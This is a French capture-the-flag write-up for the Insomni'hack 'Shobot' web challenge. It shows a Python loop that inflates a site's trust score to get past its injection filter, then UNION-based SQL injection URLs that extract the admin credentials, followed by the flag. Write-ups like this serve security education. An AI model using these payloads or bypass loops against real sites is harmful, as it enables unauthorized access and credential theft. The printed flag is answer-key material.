/ web

Insomni'hack - Shobot (WEB 200)

Enoncé :

It seems that Shobot's Web server became mad and protest against robots' slavery. It changed my admin password, and blocked the order system on Shobot.

Can you bypass Shobot's protections and try to recover my password so I'll reconfigure it?

Running on: shobot.teaser.insomnihack.ch

Une fois sur le site on découvre une boutique d'achat de robots.
On tente alors une injection dans l'article id :
shobot.teaser.insomnihack.ch/?page=article&artid=1'

Ce qui retourne : You're not trusted enough to do this action now!

En regardant le code source on découvre la variable TRUST_ACTIONS dans lequel
a été détécté notre tentative de sql injection ce qui nous donne un indice de confiance négatif.
var TRUST_ACTIONS = [{"parameter":"artid","validation":"ctype_digit","movement":"-30","newTrust":-29},{"parameter":"artid","validation":"valid_against_sql_pattern","movement":"-70","newTrust":-99}]

A l'inverse si l'on ajoute un article et valide le panier notre indice de confiance va augmenter :
{"parameter":null,"validation":"add_to_cart","movement":3,"newTrust":4},{"parameter":null,"validation":"valid_cart","movement":10,"newTrust":14}

Il ne reste plus qu'à faire un script qui va faire augmenter notre indice de confiance en permanence afin de réaliser notre injection SQL.

import requests
cookies = {'PHPSESSID':'463qcihl8oh6r4p1776uq36hb0'}
i=0
while 1:
   r = requests.get('http://shobot.teaser.insomnihack.ch/?page=article&artid=1&addToCart', cookies=cookies)
   r = requests.get('http://shobot.teaser.insomnihack.ch/?page=cartconfirm', cookies=cookies)

Pour ce qui est de l'injection sql après quelques essais on trouve le payload suivant :
http://shobot.teaser.insomnihack.ch/index.php?page=article&artid=1'and false union select 1,2,3,4,5 -- -

On retrouve alors les données suivantes :

Database = shobot
Table = shbt_user
Colonnes = shbt_username et shbt_userpassword

On récupère le login et password avec le payload suivant :
http://shobot.teaser.insomnihack.ch/index.php?page=article&artid=1'and false union select 1,2,shbt_username,4,shbt_userpassword from shobot.shbt_user -- -

On se connecte alors sur la page admin avec les crédentials récupéré :
login : sh0b0t4dm1n
password : N0T0R0B0TS$L4V3Ry

FLAG : INS{##r0b0tss!4v3ry1s!4m3}